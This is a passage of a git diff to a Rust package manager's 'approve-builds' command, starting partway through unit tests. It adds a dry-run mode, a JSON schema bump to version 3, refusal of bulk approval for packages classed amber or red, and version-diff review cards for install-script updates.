+ ]; + assert_eq!(count_blocked_by_tier(&blocked), (2, 1, 1)); + } + + #[test] + fn count_blocked_by_tier_amber_llm_counts_as_amber() { + use lpm_security::triage::StaticTier; + let blocked = vec![ + tiered("a", StaticTier::Amber), + tiered("b", StaticTier::AmberLlm), + ]; + assert_eq!( + count_blocked_by_tier(&blocked), + (0, 2, 0), + "AmberLlm must count as amber for display — indistinguishable \ + to the user's 'needs review' mental model" + ); + } + + #[test] + fn count_blocked_by_tier_none_counts_as_amber_conservative() { + // Pre-P2 persisted state (static_tier = None) should count as + // amber so the user sees it in the "needs review" bucket + // rather than being silently hidden. + let blocked = vec![make_blocked("pre-p2", "1.0.0", None, Some("sha256-x"))]; + assert!(blocked[0].static_tier.is_none()); + assert_eq!(count_blocked_by_tier(&blocked), (0, 1, 0)); + } + + #[test] + fn format_triage_summary_line_shape_is_stable() { + use lpm_security::triage::StaticTier; + let blocked = vec![ + tiered("green-a", StaticTier::Green), + tiered("green-b", StaticTier::Green), + tiered("amber-a", StaticTier::Amber), + tiered("red-a", StaticTier::Red), + ]; + // Snapshot — the anchor prefix and suffix are P2-stable + // agent-parseable contracts. Changing them is a breaking + // output change for any CI script that greps this line. + assert_eq!( + format_triage_summary_line(&blocked), + "script-policy: triage (2 green / 1 amber / 1 red → lpm approve-builds)" + ); + } + + #[test] + fn format_triage_summary_line_all_zero_when_empty() { + assert_eq!( + format_triage_summary_line(&[]), + "script-policy: triage (0 green / 0 amber / 0 red → lpm approve-builds)" + ); + } + + #[test] + fn format_triage_summary_line_anchor_and_suffix_present() { + use lpm_security::triage::StaticTier; + // Defensive against accidental format drift — agents + // substring-match on these two anchors. + let line = format_triage_summary_line(&[tiered("x", StaticTier::Green)]); + assert!( + line.starts_with("script-policy: triage ("), + "line must start with the stable anchor; got: {line}" + ); + assert!( + line.ends_with(" → lpm approve-builds)"), + "line must end with the stable suffix; got: {line}" + ); + } } diff --git a/crates/lpm-cli/src/commands/add.rs b/crates/lpm-cli/src/commands/add.rs index f917f8e2..8b564082 100644 --- a/crates/lpm-cli/src/commands/add.rs +++ b/crates/lpm-cli/src/commands/add.rs @@ -1607,16 +1607,19 @@ async fn handle_dependencies( client, project_dir, json_output, - false, // offline - false, // force - false, // allow_new - None, // linker_override - false, // no_skills - false, // no_editor_setup - true, // no_security_summary - false, // auto_build - None, // target_set: shadcn-style add never targets multiple workspace members + false, // offline + false, // force + false, // allow_new + None, // linker_override + false, // no_skills + false, // no_editor_setup + true, // no_security_summary + false, // auto_build + None, // target_set: shadcn-style add never targets multiple workspace members None, // direct_versions_out: shadcn-style add does not finalize Phase 33 placeholders + None, // script_policy_override: `lpm add` does not expose policy flags + None, // min_release_age_override: shadcn-style add uses the chain + crate::provenance_fetch::DriftIgnorePolicy::default(), // drift-ignore: `lpm add` does not expose drift-override flags ) .await { diff --git a/crates/lpm-cli/src/commands/approve_builds.rs b/crates/lpm-cli/src/commands/approve_builds.rs index 5b8622cd..021a8478 100644 --- a/crates/lpm-cli/src/commands/approve_builds.rs +++ b/crates/lpm-cli/src/commands/approve_builds.rs @@ -28,13 +28,51 @@ use crate::build_state::{self, BlockedPackage, BuildState}; use crate::output; use lpm_common::LpmError; -use lpm_workspace::{TrustMatch, TrustedDependencies}; +use lpm_workspace::{ApprovalMetadata, TrustMatch, TrustedDependencies}; use owo_colors::OwoColorize; use std::path::{Path, PathBuf}; +/// **Phase 46 P7.** Project the install-time-captured fields off a +/// [`BlockedPackage`] into the [`ApprovalMetadata`] bundle that +/// [`TrustedDependencies::approve_with_metadata`] persists. +/// +/// Centralized so each future approval-time field addition only edits +/// one site instead of every `--yes` / direct / interactive call. +/// Closes the P7 round-trip: `BlockedPackage.behavioral_tags{,_hash}` and +/// `BlockedPackage.provenance_at_capture` flow into the binding's +/// `behavioral_tags{,_hash}` and `provenance_at_approval` respectively. +fn approval_metadata_from_blocked(blocked: &BlockedPackage) -> ApprovalMetadata { + ApprovalMetadata { + integrity: blocked.integrity.clone(), + script_hash: blocked.script_hash.clone(), + provenance_at_approval: blocked.provenance_at_capture.clone(), + behavioral_tags_hash: blocked.behavioral_tags_hash.clone(), + behavioral_tags: blocked.behavioral_tags.clone(), + } +} + /// Stable schema version for the `--json` output. Bump on any breaking /// change to the JSON shape so agents can branch on it. -pub const SCHEMA_VERSION: u32 = 1; +/// +/// Version history: +/// - **v1** (Phase 32 Phase 4): initial schema — blocked entries carry +/// `name`, `version`, `integrity`, `script_hash`, `phases_present`, +/// `binding_drift`. +/// - **v2** (Phase 46 P2, Chunk 3): adds `static_tier` on each +/// blocked entry. Value is one of `"green" | "amber" | "amber-llm" +/// | "red"` when classification ran, or `null` when the persisted +/// state predates P2 (readers should tolerate `null` to stay +/// forward-compatible with v1 state that predates a re-install). +/// - **v3** (Phase 46 P7, Chunk 4): adds `version_diff` on each +/// blocked entry. `null` when no prior approved binding exists for +/// this package name (first-time review); otherwise the structured +/// object documented on +/// [`crate::version_diff::version_diff_to_json`] — includes +/// `reason: "no-change"` for "we found the prior but no dimension +/// drifted" so agents can distinguish that from "no prior to +/// compare." Pre-v3 readers ignore the new field; v3+ readers +/// branch on `schema_version >= 3` to know when to expect it. +pub const SCHEMA_VERSION: u32 = 3; /// Filter the persisted build-state's blocked set against the current /// `trustedDependencies` and return only the entries that are STILL @@ -94,6 +132,17 @@ pub async fn run( package: Option<&str>, yes: bool, list: bool, + // Phase 46 close-out Chunk 3: when true, the review flow runs + // end-to-end (card rendering, interactive prompts, diff surfaces, + // outcome accounting) but NO persisted state mutates — + // [`write_back`] short-circuits at each of its three call sites + // (direct-approve, `--yes`, interactive walk) and + // [`print_summary`] surfaces `"dry_run": true` in the JSON + // envelope. No-op when combined with `--list` (already + // read-only); the JSON envelope for `--list --dry-run` still + // carries the `dry_run` flag so agents can distinguish + // preview-of-listing from plain-listing at parse time. + dry_run: bool, json_output: bool, ) -> Result<(), LpmError> { // ── Argument validation ───────────────────────────────────────── @@ -208,20 +257,43 @@ pub async fn run( true } else { print_package_card(target); - cliclack::confirm(format!("Approve {}@{}?", target.name, target.version)) + // Phase 46 P7 Chunk 3: surface the version diff card + // alongside the regular card when this is an UPDATE + // (prior binding under same name exists). No-op for + // first-time review. + print_version_diff_card_for_blocked(target, &trusted); + let prompt = if trusted + .latest_binding_for_name(&target.name, &target.version) + .is_some() + { + format!("Accept new {}@{}?", target.name, target.version) + } else { + format!("Approve {}@{}?", target.name, target.version) + }; + cliclack::confirm(prompt) .interact() .map_err(|e| LpmError::Script(format!("prompt failed: {e}")))? }; if confirmed { - trusted.approve( + // Phase 46 P4/P7 write-path: carry install-time + // provenance + behavioral-tag captures into the binding so + // subsequent installs can compare against them + // (§7.2 drift rule + §11 P7 version diff). + trusted.approve_with_metadata( &target.name, &target.version, - target.integrity.clone(), - target.script_hash.clone(), + approval_metadata_from_blocked(target), ); approved.push(target); - write_back(&pkg_json_path, &mut manifest, &trusted)?; + // Phase 46 close-out Chunk 3: short-circuit the write + // under `--dry-run`; the approval intent is still + // recorded in `approved` for the summary so the user + // sees "would approve X" with the same JSON envelope + // shape as a live run. + if !dry_run { + write_back(&pkg_json_path, &mut manifest, &trusted)?; + } } else { // skip path: nothing to record besides the count (typed-out // here to avoid an unused mut warning if we never push) @@ -229,8 +301,10 @@ pub async fn run( &effective_state, &approved, &[target], + &trusted, initial_was_legacy, false, + dry_run, json_output, ); } @@ -239,17 +313,26 @@ pub async fn run( &effective_state, &approved, &skipped, + &trusted, initial_was_legacy, false, + dry_run, json_output, ); } if effective_state.blocked_packages.is_empty() { if json_output { + // Phase 46 close-out Chunk 3: `dry_run` carried through + // so agents can uniformly read `envelope.dry_run` + // regardless of which branch produced the envelope. On + // an empty set, the flag is semantically a no-op (no + // mutation would have happened anyway) but the field's + // presence is a schema-level consistency guarantee. let body = serde_json::json!({ "schema_version": SCHEMA_VERSION, "command": "approve-builds", + "dry_run": dry_run, "blocked_count": 0, "approved_count": 0, "skipped_count": 0, @@ -269,7 +352,7 @@ pub async fn run( // ── --list (read-only) ────────────────────────────────────────── if list { - return print_listing(&effective_state, json_output); + return print_listing(&effective_state, &trusted, dry_run, json_output); } // Track outcomes for the summary / JSON output @@ -279,23 +362,48 @@ pub async fn run( // ── --yes (bulk approve) ──────────────────────────────────────── if yes { + // Phase 46 P2 Chunk 4 — refuse bulk approval when any + // effective-blocked entry is classified outside the green + // tier. Gate runs BEFORE `emit_yes_warning_banner` so we + // don't emit success-shaped human + tracing output and then + // abort — that sequence would corrupt log aggregators and + // mislead the user about whether the operation ran. + // + // Refusal is restricted to EXPLICIT non-green tiers: + // - Some(Amber) / Some(AmberLlm) / Some(Red) → refuse. + // - Some(Green) → allowed in bulk (still requires explicit + // --yes; auto-execution is P6, gated on the P5 sandbox). + // - None → pass-through to today's behavior. `None` means + // the persisted blocked state was written by a pre-P2 LPM + // that never classified the package; breaking those + // existing `--yes` flows before the next install + // recaptures the state would be a silent P1→P2 upgrade + // regression. + enforce_tiered_yes_gate(&effective_state.blocked_packages)?; + emit_yes_warning_banner(effective_state.blocked_packages.len(), json_output); for blocked in &effective_state.blocked_packages { - trusted.approve( + // Phase 46 P4/P7 write-path — see the direct-approve + // branch above for the rationale. + trusted.approve_with_metadata( &blocked.name, &blocked.version, - blocked.integrity.clone(), - blocked.script_hash.clone(), + approval_metadata_from_blocked(blocked), ); approved.push(blocked); } - write_back(&pkg_json_path, &mut manifest, &trusted)?; + // Phase 46 close-out Chunk 3: short-circuit under `--dry-run`. + if !dry_run { + write_back(&pkg_json_path, &mut manifest, &trusted)?; + } return print_summary( &effective_state, &approved, &skipped, + &trusted, initial_was_legacy, yes, + dry_run, json_output, ); } @@ -333,6 +441,23 @@ pub async fn run( let mut quit_early = false; for blocked in &effective_state.blocked_packages { print_package_card(blocked); + // Phase 46 P7 Chunk 3: render the version-diff card for + // updates (no-op when no prior binding exists for the same + // package name). + print_version_diff_card_for_blocked(blocked, &trusted); + + // Phase 46 P7 Chunk 3: branch the Select on whether this is + // a first-time review or an update. The two branches share + // back-end semantics via `InteractiveChoice::decision()`; + // the difference is the labels users see — `Approve` / + // `Skip` vs. `Accept new` / `Keep old (skip)`. The latter + // names the implicit retention so users don't fear that + // declining will mutate their prior approval. Per signoff + // B(i), `KeepOld` does NOT rewrite a resolver pin or + // downgrade — it just declines the candidate. + let is_update = trusted + .latest_binding_for_name(&blocked.name, &blocked.version) + .is_some(); // The View option re-prints the full script and re-prompts. To // re-prompt without cloning the (non-Clone) cliclack Select, we @@ -343,32 +468,55 @@ pub async fn run( "What would you like to do with {}@{}?", blocked.name, blocked.version ); - let choice = cliclack::select(prompt) - .item(InteractiveChoice::Approve, "Approve", "") - .item(InteractiveChoice::Skip, "Skip", "") - .item(InteractiveChoice::View, "View full script", "") - .item(InteractiveChoice::Quit, "Quit", "abort without writing") - .initial_value(InteractiveChoice::Approve) - .interact() - .map_err(|e| LpmError::Script(format!("prompt failed: {e}")))?; - match choice { - InteractiveChoice::Approve => { - decision = Some(true); - break; - } - InteractiveChoice::Skip => { - decision = Some(false); - break; - } - InteractiveChoice::View => { - print_full_script(project_dir, blocked); - // Loop back: rebuild Select and re-prompt - continue; - } - InteractiveChoice::Quit => { - quit_early = true; + let choice = if is_update { + // Default to KeepOld: when the diff card is sitting + // RIGHT ABOVE this prompt showing what changed, the + // safe-by-default choice is to decline the change. + // The user can tab to AcceptNew with one keystroke. + cliclack::select(prompt) + .item( + InteractiveChoice::AcceptNew, + "Accept new", + "approve this candidate version", + ) + .item( + InteractiveChoice::KeepOld, + "Keep old", + "skip; prior approval untouched", + ) + .item(InteractiveChoice::View, "View full script", "") + .item(InteractiveChoice::Quit, "Quit", "abort without writing") + .initial_value(InteractiveChoice::KeepOld) + .interact() + .map_err(|e| LpmError::Script(format!("prompt failed: {e}")))? + } else { + // First-time review: original Phase 4 labels. + cliclack::select(prompt) + .item(InteractiveChoice::Approve, "Approve", "") + .item(InteractiveChoice::Skip, "Skip", "") + .item(InteractiveChoice::View, "View full script", "") + .item(InteractiveChoice::Quit, "Quit", "abort without writing") + .initial_value(InteractiveChoice::Approve) + .interact() + .map_err(|e| LpmError::Script(format!("prompt failed: {e}")))? + }; + match choice.decision() { + Some(d) => { + decision = Some(d); break; } + None => match choice { + InteractiveChoice::View => { + print_full_script(project_dir, blocked); + // Loop back: rebuild Select and re-prompt + continue; + } + InteractiveChoice::Quit => { + quit_early = true; + break; + } + _ => unreachable!("decision() returns None only for View / Quit"), + }, } } @@ -399,14 +547,18 @@ pub async fn run( // Apply approvals (atomic single write) for blocked in &approved { - trusted.approve( + // Phase 46 P4/P7 write-path — see the direct-approve branch + // earlier for the rationale. + trusted.approve_with_metadata( &blocked.name, &blocked.version, - blocked.integrity.clone(), - blocked.script_hash.clone(), + approval_metadata_from_blocked(blocked), ); } - if !approved.is_empty() { + // Phase 46 close-out Chunk 3: under `--dry-run`, skip the atomic + // write; `approved` / `skipped` still fed into `print_summary` + // so the agent sees the would-approve count. + if !approved.is_empty() && !dry_run { write_back(&pkg_json_path, &mut manifest, &trusted)?; } @@ -414,20 +566,144 @@ pub async fn run( &effective_state, &approved, &skipped, + &trusted, initial_was_legacy, false, + dry_run, json_output, ) } +/// **Phase 46 P7 Chunk 3.** The interactive walk's per-package +/// choice space. +/// +/// `Approve` and `Skip` are the original Phase 4 actions used when +/// no prior approval exists for a different version of the same +/// package. P7 adds [`AcceptNew`] and [`KeepOld`] — the same two +/// actions wearing labels that name the *update* the user is +/// reviewing, used when [`TrustedDependencies::latest_binding_for_name`] +/// returns a prior binding. Both pairs collapse to the same +/// approve / decline back-end semantics; the only difference is +/// the label clarity. `KeepOld` does **NOT** rewrite the resolver +/// pin or downgrade the package — per signoff B(i), it just means +/// "do not approve this candidate; the prior binding for the older +/// version stays untouched in `package.json`." +/// +/// View / Quit are unconditional. +/// +/// [`TrustedDependencies::latest_binding_for_name`]: lpm_workspace::TrustedDependencies::latest_binding_for_name #[derive(Debug, Clone, Copy, PartialEq, Eq)] enum InteractiveChoice { + /// First-time review: write a binding for `name@version`. Approve, + /// First-time review: defer; nothing written. Skip, + /// Update review: same as `Approve` but the label names the + /// candidate ("accept the new version's binding"). Selected + /// when a prior binding exists. + AcceptNew, + /// Update review: same as `Skip` but the label names the + /// implicit retention ("keep the prior approval; don't trust + /// this candidate"). Selected when a prior binding exists. + KeepOld, + /// Re-print the full install-phase scripts and re-prompt. View, + /// Abort the walk without writing anything. Quit, } +impl InteractiveChoice { + /// Decision projection: collapse the four + /// approve/decline-shaped variants onto the back-end action. + /// `Some(true)` → write binding; `Some(false)` → decline (no + /// write); `None` → not a decision (View / Quit). + fn decision(self) -> Option { + match self { + InteractiveChoice::Approve | InteractiveChoice::AcceptNew => Some(true), + InteractiveChoice::Skip | InteractiveChoice::KeepOld => Some(false), + InteractiveChoice::View | InteractiveChoice::Quit => None, + } + } +} + +/// **Phase 46 P7 Chunk 3.** Print the version-diff card for a +/// blocked entry — the fuller "changes since v" view that +/// renders alongside the package's existing card during the +/// interactive walk, the direct `` approve, and the `--list` +/// listing. +/// +/// No-op when (a) no prior approved binding exists for this +/// package name (first-time review — nothing to diff against), or +/// (b) the diff classifies as +/// [`crate::version_diff::VersionDiffReason::NoChange`]. +/// +/// Reads store bodies for both prior and candidate via +/// [`crate::build_state::read_install_phase_bodies`]; degrades +/// gracefully when the prior version is no longer in the store +/// (cache cleaned, fresh clone evicted the prior tarball) — the +/// renderer prints its "(prior or candidate scripts not in store)" +/// fallback rather than emitting a misleading empty diff. +/// +/// Emits to stdout (cliclack TUI is stdout-driven; `--json` mode +/// can never reach this path because the interactive walk refuses +/// to combine with `--json` upstream). +fn print_version_diff_card_for_blocked(blocked: &BlockedPackage, trusted: &TrustedDependencies) { + let Some((prior_version, binding)) = + trusted.latest_binding_for_name(&blocked.name, &blocked.version) + else { + return; + }; + let diff = crate::version_diff::compute_version_diff(prior_version, binding, blocked); + if !diff.is_drift() { + return; + } + let store = match lpm_store::PackageStore::default_location() { + Ok(s) => s, + Err(_) => { + // Store unavailable — still render the structured part of + // the card (header, tag delta, provenance) but the + // script-body section will degrade. Pass None for both + // sides; the renderer's fallback note is appropriate. + if let Some(card) = + crate::version_diff::render_preflight_card(&diff, &blocked.name, None, None) + { + println!(); + println!("{card}"); + println!(); + } + return; + } + }; + let prior_pairs = crate::build_state::read_install_phase_bodies( + &store.package_dir(&blocked.name, prior_version), + ); + let candidate_pairs = crate::build_state::read_install_phase_bodies( + &store.package_dir(&blocked.name, &blocked.version), + ); + let prior_bodies = if prior_pairs.is_empty() { + None + } else { + Some(crate::version_diff::phase_bodies_from_pairs(prior_pairs)) + }; + let candidate_bodies = if candidate_pairs.is_empty() { + None + } else { + Some(crate::version_diff::phase_bodies_from_pairs( + candidate_pairs, + )) + }; + if let Some(card) = crate::version_diff::render_preflight_card( + &diff, + &blocked.name, + prior_bodies.as_ref(), + candidate_bodies.as_ref(), + ) { + println!(); + println!("{card}"); + println!(); + } +} + /// Find a blocked package matching either `name` or `name@version`. /// Used by the `` argument path. fn find_blocked_by_arg<'a>(blocked: &'a [BlockedPackage], arg: &str) -> Option<&'a BlockedPackage> { @@ -563,6 +839,17 @@ fn print_package_card(blocked: &BlockedPackage) { blocked.phases_present.join(", "), ); } + // Phase 46 P2 Chunk 3 — static-gate tier annotation for the + // interactive card. Absent (None) means the blocked-state row + // predates P2; don't print a line rather than showing a + // misleading "unknown". + if let Some(tier) = blocked.static_tier { + println!( + " {:<14}{}", + "Static tier:".dimmed(), + colored_tier_label(tier), + ); + } if blocked.binding_drift { println!( " {} {}", @@ -573,6 +860,88 @@ fn print_package_card(blocked: &BlockedPackage) { println!(); } +/// Phase 46 P2 Chunk 4 — enforce the `--yes` refusal contract. +/// +/// Given the **effective** blocked-set that `--yes` would approve, +/// return `Err` if any entry carries an explicit non-green static +/// tier (`Amber`, `AmberLlm`, `Red`). `Green` and `None` pass through; +/// see the gate-site comment at the callsite for the `None`-means- +/// pre-P2-state pass-through rationale. +/// +/// Pure so it's unit-testable without an end-to-end `run()` +/// invocation. The callsite threads the returned `LpmError` up and +/// the JSON-error wrapper in `main.rs` turns it into structured +/// output when `--json` is set. +fn enforce_tiered_yes_gate(blocked: &[BlockedPackage]) -> Result<(), LpmError> { + use lpm_security::triage::StaticTier; + + let refusals: Vec<&BlockedPackage> = blocked + .iter() + .filter(|bp| { + matches!( + bp.static_tier, + Some(StaticTier::Amber | StaticTier::AmberLlm | StaticTier::Red) + ) + }) + .collect(); + + if refusals.is_empty() { + return Ok(()); + } + + // Actionable error shape: count → per-package lines with tier + // label → clear redirect to the interactive / single-pkg path. + // Agents parsing the error_code=script error can substring-match + // the `"--yes refuses"` prefix, which is stable P2-onward. + let detail = refusals + .iter() + .map(|bp| { + let tier_text = bp + .static_tier + .map(tier_label_text) + .unwrap_or("unknown tier"); + format!(" {}@{} [{}]", bp.name, bp.version, tier_text) + }) + .collect::>() + .join("\n"); + + Err(LpmError::Script(format!( + "--yes refuses to bulk-approve {} package(s) classified outside the \ + green tier. Each requires explicit per-package review.\n\n{}\n\n\ + Run `lpm approve-builds` (interactive walk) or \ + `lpm approve-builds ` to review individual packages. \ + Use `lpm approve-builds --list` to inspect the full blocked set first.", + refusals.len(), + detail, + ))) +} + +/// Plain text label for a [`StaticTier`] value — consumed by +/// [`colored_tier_label`] and by tests that don't want to assert +/// on ANSI escape sequences. +fn tier_label_text(tier: lpm_security::triage::StaticTier) -> &'static str { + use lpm_security::triage::StaticTier; + match tier { + StaticTier::Green => "green ✓", + StaticTier::Amber => "amber — review required", + StaticTier::AmberLlm => "amber (llm-advised) — review required", + StaticTier::Red => "red ✖ — hand-curated blocklist hit", + } +} + +/// Colored rendering of the tier label. Green → green, Red → red, +/// the ambers → yellow. Kept thin so the color policy lives in one +/// place and the plain-text helper stays unit-testable. +fn colored_tier_label(tier: lpm_security::triage::StaticTier) -> String { + use lpm_security::triage::StaticTier; + let text = tier_label_text(tier); + match tier { + StaticTier::Green => text.green().to_string(), + StaticTier::Amber | StaticTier::AmberLlm => text.yellow().to_string(), + StaticTier::Red => text.red().to_string(), + } +} + fn truncate_for_display(s: &str, max: usize) -> String { if s.len() <= max { s.to_string() @@ -634,16 +1003,26 @@ fn print_full_script(_project_dir: &Path, blocked: &BlockedPackage) { println!(); } -fn print_listing(state: &BuildState, json_output: bool) -> Result<(), LpmError> { +fn print_listing( + state: &BuildState, + trusted: &TrustedDependencies, + // Phase 46 close-out Chunk 3: list is structurally read-only + // so dry-run is semantically a no-op here, but the envelope + // still surfaces the flag for uniform agent parsing — agents + // read `envelope.dry_run` without branching on mode. + dry_run: bool, + json_output: bool, +) -> Result<(), LpmError> { if json_output { let body = serde_json::json!({ "schema_version": SCHEMA_VERSION, "command": "approve-builds", "mode": "list", + "dry_run": dry_run, "blocked_count": state.blocked_packages.len(), "approved_count": 0, "skipped_count": 0, - "blocked": state.blocked_packages.iter().map(blocked_to_json).collect::>(), + "blocked": state.blocked_packages.iter().map(|b| blocked_to_json(b, trusted)).collect::>(), "warnings": [], "errors": [], }); @@ -657,6 +1036,11 @@ fn print_listing(state: &BuildState, json_output: bool) -> Result<(), LpmError> )); for blocked in &state.blocked_packages { print_package_card(blocked); + // Phase 46 P7 Chunk 3: surface the version diff card + // alongside each entry's regular card. No-op for entries + // without a prior binding under the same name (first-time + // review — nothing to diff against). + print_version_diff_card_for_blocked(blocked, trusted); } println!(); output::info( @@ -665,37 +1049,63 @@ fn print_listing(state: &BuildState, json_output: bool) -> Result<(), LpmError> Ok(()) } -fn blocked_to_json(blocked: &BlockedPackage) -> serde_json::Value { - serde_json::json!({ - "name": blocked.name, - "version": blocked.version, - "integrity": blocked.integrity, - "script_hash": blocked.script_hash, - "phases_present": blocked.phases_present, - "binding_drift": blocked.binding_drift, - }) +/// **Phase 46 P7 Chunk 4 thin wrapper.** Delegates to the shared +/// canonical helper [`crate::version_diff::blocked_to_json`] so the +/// approve-builds JSON paths and the install-pipeline JSON paths +/// emit byte-identical entry shapes. Pre-Chunk-4 this was an inline +/// `serde_json::json!` literal; consolidating prevents key drift +/// between the two callers as future fields land. +fn blocked_to_json(blocked: &BlockedPackage, trusted: &TrustedDependencies) -> serde_json::Value { + crate::version_diff::blocked_to_json(blocked, trusted) } +// clippy::too_many_arguments: print_summary has grown with each +// Phase 46 phase (P6 tier annotations, P7 version diff, close-out +// Chunk 3 dry-run). A wrapper struct would hurt readability more +// than the arg count — every caller inside `run` constructs the +// same set of fields inline, and there's no reuse across commands. +// Fold into a struct only if a second command-level surface starts +// consuming the same shape. +#[allow(clippy::too_many_arguments)] fn print_summary( state: &BuildState, approved: &[&BlockedPackage], skipped: &[&BlockedPackage], + trusted: &TrustedDependencies, initial_was_legacy: bool, yes_flag: bool, + // Phase 46 close-out Chunk 3: when true, JSON envelope carries + // `"dry_run": true` so agents can distinguish preview from live + // runs at parse time; human output reframes "X approved" as + // "would approve X — no changes written" and drops the + // `lpm build` next-step pointer (since there are no new + // approvals to run). + dry_run: bool, json_output: bool, ) -> Result<(), LpmError> { if json_output { let mut warnings: Vec = Vec::new(); if yes_flag { - warnings.push(serde_json::json!({ - "code": "yes_blanket_approve", - "message": format!( + let msg = if dry_run { + format!( + "DRY RUN — would blanket-approve {} package(s) via --yes; no write performed", + approved.len() + ) + } else { + format!( "--yes blanket-approved {} package(s) without per-package review", approved.len() - ), + ) + }; + warnings.push(serde_json::json!({ + "code": "yes_blanket_approve", + "message": msg, })); } - if initial_was_legacy && !approved.is_empty() { + if initial_was_legacy && !approved.is_empty() && !dry_run { + // Suppress the legacy-upgrade warning under dry-run: no + // write happened, so the legacy array form is still on + // disk. Surfacing it as "upgraded" would be misleading. warnings.push(serde_json::json!({ "code": "legacy_upgraded_to_rich", "message": "trustedDependencies was upgraded from the legacy array form to the rich map form" @@ -705,11 +1115,24 @@ fn print_summary( "schema_version": SCHEMA_VERSION, "command": "approve-builds", "mode": if yes_flag { "yes" } else { "interactive" }, + "dry_run": dry_run, "blocked_count": state.blocked_packages.len(), "approved_count": approved.len(), "skipped_count": skipped.len(), - "approved": approved.iter().map(|b| blocked_to_json(b)).collect::>(), - "skipped": skipped.iter().map(|b| blocked_to_json(b)).collect::>(), + // Phase 46 P7 Chunk 4: per-entry `version_diff` flows + // through `blocked_to_json`. Note: when this fires + // post-write-back (the --yes and interactive paths), + // `trusted` includes the just-written binding for + // `name@candidate_version`. The diff selector is + // strictly-less-than the candidate, so it skips the + // freshly-added entry and still reports the diff + // against the prior version — matches what the user + // saw when reviewing. Under `--dry-run`, no write + // happened, so `trusted` retains the pre-run state + // and the diff reports against the prior binding + // identically. + "approved": approved.iter().map(|b| blocked_to_json(b, trusted)).collect::>(), + "skipped": skipped.iter().map(|b| blocked_to_json(b, trusted)).collect::>(), "warnings": warnings, "errors": [], }); @@ -718,6 +1141,12 @@ fn print_summary( println!(); if approved.is_empty() && skipped.is_empty() { output::info("No changes to package.json."); + } else if dry_run { + output::info(&format!( + "DRY RUN — would approve {}, skip {}. No changes written.", + approved.len(), + skipped.len(), + )); } else { output::success(&format!( "{} approved, {} skipped.", @@ -773,6 +1202,15 @@ pub async fn run_global( yes: bool, list: bool, group: bool, + // Phase 46 close-out Chunk 3: dry-run mirror of [`run`]'s flag, + // for the global surface. When true, each mutating write into + // `~/.lpm/global/trusted-dependencies.json` — across + // [`run_global_bulk_yes`], [`run_global_named`], and the three + // write sites inside [`run_global_interactive`] (per-row + // approve, group approve-all, non-grouped per-row) — is + // short-circuited, and the JSON envelopes carry + // `"dry_run": true`. No-op when combined with `--list`. + dry_run: bool, json_output: bool, ) -> Result<(), LpmError> { // Mirror `run()`'s argument validation. @@ -804,16 +1242,21 @@ pub async fn run_global( // ── List mode ───────────────────────────────────────────────── if list { - return print_global_list(&aggregate, effective_group, json_output); + return print_global_list(&aggregate, effective_group, dry_run, json_output); } // ── Empty set short-circuit (same as project-scoped run) ──── if aggregate.rows.is_empty() { if json_output { + // Phase 46 close-out Chunk 3: `dry_run` echoed for + // schema-level uniformity — see the matching comment + // on the project-side empty-set branch. No mutation + // happens here regardless of the flag. let body = serde_json::json!({ "schema_version": SCHEMA_VERSION, "command": "approve-builds", "scope": "global", + "dry_run": dry_run, "blocked_count": 0, "approved_count": 0, "skipped_count": 0, @@ -840,18 +1283,21 @@ pub async fn run_global( // ── Named-package approval path ─────────────────────────────── if let Some(arg) = package { - return run_global_named(&root, &aggregate, arg, json_output).await; + return run_global_named(&root, &aggregate, arg, dry_run, json_output).await; } // ── Bulk-approve mode ───────────────────────────────────────── if yes { - return run_global_bulk_yes(&root, &aggregate, json_output).await; + return run_global_bulk_yes(&root, &aggregate, dry_run, json_output).await; } // ── Interactive walk ────────────────────────────────────────── if !is_tty() || json_output { // No TTY (or JSON mode) + no flags: surface the deterministic // error naming --list / --yes so CI / agents know how to proceed. + // `--dry-run` without --list / --yes / hits this too: + // an interactive preview still needs a TTY to render the + // prompts, so the error stays the same. return Err(LpmError::Script(format!( "`lpm approve-builds --global` needs a TTY for the interactive walk \ ({} global package(s) with blocked scripts). Pass `--list` to inspect, \ @@ -859,7 +1305,7 @@ pub async fn run_global( aggregate.rows.len(), ))); } - run_global_interactive(&root, &aggregate, effective_group, json_output).await + run_global_interactive(&root, &aggregate, effective_group, dry_run, json_output).await } /// `--list` implementation: print the aggregate read-only. `--group` @@ -867,6 +1313,10 @@ pub async fn run_global( fn print_global_list( aggregate: &crate::global_blocked_set::AggregateBlockedSet, group: bool, + // Phase 46 close-out Chunk 3: see the project-side + // [`print_listing`] comment — read-only path, flag surfaced for + // schema uniformity. + dry_run: bool, json_output: bool, ) -> Result<(), LpmError> { if json_output { @@ -889,6 +1339,7 @@ fn print_global_list( "schema_version": SCHEMA_VERSION, "command": "approve-builds", "scope": "global", + "dry_run": dry_run, "group": group, "blocked_count": aggregate.rows.len(), "blocked": entries, @@ -980,6 +1431,7 @@ fn print_global_list( async fn run_global_bulk_yes( root: &lpm_common::LpmRoot, aggregate: &crate::global_blocked_set::AggregateBlockedSet, + dry_run: bool, json_output: bool, ) -> Result<(), LpmError> { let mut trust = lpm_global::trusted_deps::read_for(root)?; @@ -991,25 +1443,44 @@ async fn run_global_bulk_yes( row.script_hash.clone(), ); } - lpm_global::trusted_deps::write_for(root, &trust)?; + // Phase 46 close-out Chunk 3: the only mutation site on this + // path. Under `--dry-run`, skip the write but still emit the + // would-approve count + warning so the user / agent sees the + // scope of the pending decision. + if !dry_run { + lpm_global::trusted_deps::write_for(root, &trust)?; + } if json_output { + let warning = if dry_run { + format!( + "DRY RUN — would bulk-approve {} globally-blocked package(s); no write performed", + aggregate.rows.len() + ) + } else { + format!( + "bulk-approved {} globally-blocked package(s) via --yes", + aggregate.rows.len() + ) + }; let body = serde_json::json!({ "schema_version": SCHEMA_VERSION, "command": "approve-builds", "scope": "global", + "dry_run": dry_run, "blocked_count": aggregate.rows.len(), "approved_count": aggregate.rows.len(), "skipped_count": 0, - "warnings": [ - format!( - "bulk-approved {} globally-blocked package(s) via --yes", - aggregate.rows.len() - ) - ], + "warnings": [warning], "errors": [], }); println!("{}", serde_json::to_string_pretty(&body).unwrap()); + } else if dry_run { + output::warn(&format!( + "DRY RUN — would bulk-approve {} globally-blocked package{}. No changes written.", + aggregate.rows.len(), + if aggregate.rows.len() == 1 { "" } else { "s" }, + )); } else { output::warn(&format!( "Bulk-approved {} globally-blocked package{}.", @@ -1031,6 +1502,7 @@ async fn run_global_named( root: &lpm_common::LpmRoot, aggregate: &crate::global_blocked_set::AggregateBlockedSet, arg: &str, + dry_run: bool, json_output: bool, ) -> Result<(), LpmError> { // M5 audit (GPT finding 1): bare-name 